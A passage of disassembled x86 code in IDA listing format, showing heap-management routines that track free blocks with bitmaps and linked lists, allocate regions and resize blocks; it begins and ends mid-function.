; ---------------------------------------------------------------------------


loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]


loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD


loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------


loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, dword_48B674
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, dword_48B66C
		mov	esi, dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_48B66C
		mov	eax, dword_48B674
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_48B674
		mov	ecx, dword_48B66C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_48B674
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_48B674
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_48B674


loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_48B674
		push	dword ptr [eax+10h]
		push	0
		push	dword_48B684
		nop
		call	near ptr 26F0264h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_48B674
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_48B678
		cmp	eax, dword_48B674
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h


loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, dword_48B67C
		mov	dword_48B670, eax


loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_48B66C, edi
		mov	dword_48B674, eax


loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------


loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, dword_48B670
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154


loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B


loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx


loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------


loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax


loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2


loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------


loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]


loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx


loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------


loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax


loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB


loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2


loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------


loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	dword_48B670, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230


loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D


loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216


loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]


loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------


loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi


loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]


loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------


loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]


loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------


loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]


loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, dword_48B674
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_48B66C
		jnz	short loc_41B3D9
		and	dword_48B674, 0


loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, dword_48B678
		mov	ecx, dword_48B668
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_48B67C
		push	edi
		push	dword_48B684
		nop
		call	near ptr 2820000h
		cmp	eax, edi
		jz	short loc_41B479
		add	dword_48B668, 10h
		mov	dword_48B67C, eax
		mov	eax, dword_48B678


loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, dword_48B67C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_48B684
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 2700000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 285082Eh
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_48B684
		nop
		call	near ptr 26F0264h


loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------


loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_48B678
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------


loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 285082Eh
		nop
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------


loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]


loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507


loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi


loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------


loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi


loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------


loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx


loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------


loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]


loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------


loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------


loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi


loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
		push	3Fh
		pop	esi


loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------


loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi


loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41B841:				; CODE XREF: sub_41B592+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B873
; ---------------------------------------------------------------------------


loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax


loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41BB80:loc_41BD4Fp
		cmp	dword_4397D0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_4397C0
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------


loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
		push	dword_48B684
		call	near ptr 2700000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5


loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
